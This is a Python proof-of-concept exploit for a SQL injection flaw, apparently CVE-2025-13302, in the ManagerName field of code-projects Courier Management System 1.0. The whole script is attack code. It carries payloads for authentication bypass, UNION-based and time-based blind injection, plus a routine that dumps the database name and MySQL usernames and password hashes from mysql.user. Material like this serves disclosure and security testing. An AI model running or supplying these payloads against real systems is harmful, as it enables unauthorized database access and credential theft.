# CVE-2025-13302 SQL Injection PoC
# Target: code-projects Courier Management System 1.0
# File: /add-new-officer.php
# Parameter: ManagerName
import requests
import sys
from urllib.parse import urlencode
target_url = "http://target.com/add-new-officer.php"
# Basic SQL injection test payload
payloads = [
"'", # Basic detection
"admin' OR '1'='1", # Authentication bypass attempt
"' UNION SELECT 1,2,3,4,5,6-- -", # UNION-based injection
"' AND SLEEP(5)-- -", # Time-based blind injection
]
def test_sql_injection(url, param_name, payload):
"""Test for SQL injection vulnerability"""
data = {
param_name: payload,
# Add other required form fields
"submit": "Add Officer"
}
try:
response = requests.post(url, data=data, timeout=10)
return response.text
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return None
# UNION-based data extraction example
def extract_database_info(url):
"""Extract database information using UNION injection"""
# Extract current database name
payload = "' UNION SELECT 1,database(),3,4,5,6-- -"
result = test_sql_injection(url, "ManagerName", payload)
print(f"[*] Database info: {result}")
# Extract user information
payload = "' UNION SELECT 1,CONCAT(user,0x3a,password),3,4,5,6 FROM mysql.user-- -"
result = test_sql_injection(url, "ManagerName", payload)
print(f"[*] User info: {result}")
if __name__ == "__main__":
print("[*] CVE-2025-13302 SQL Injection Test")
print("[*] Target:", target_url)
for payload in payloads:
print(f"\n[*] Testing payload: {payload}")
result = test_sql_injection(target_url, "ManagerName", payload)
if result and ("error" in result.lower() or "sql" in result.lower()):
print("[+] Potential SQL injection detected!")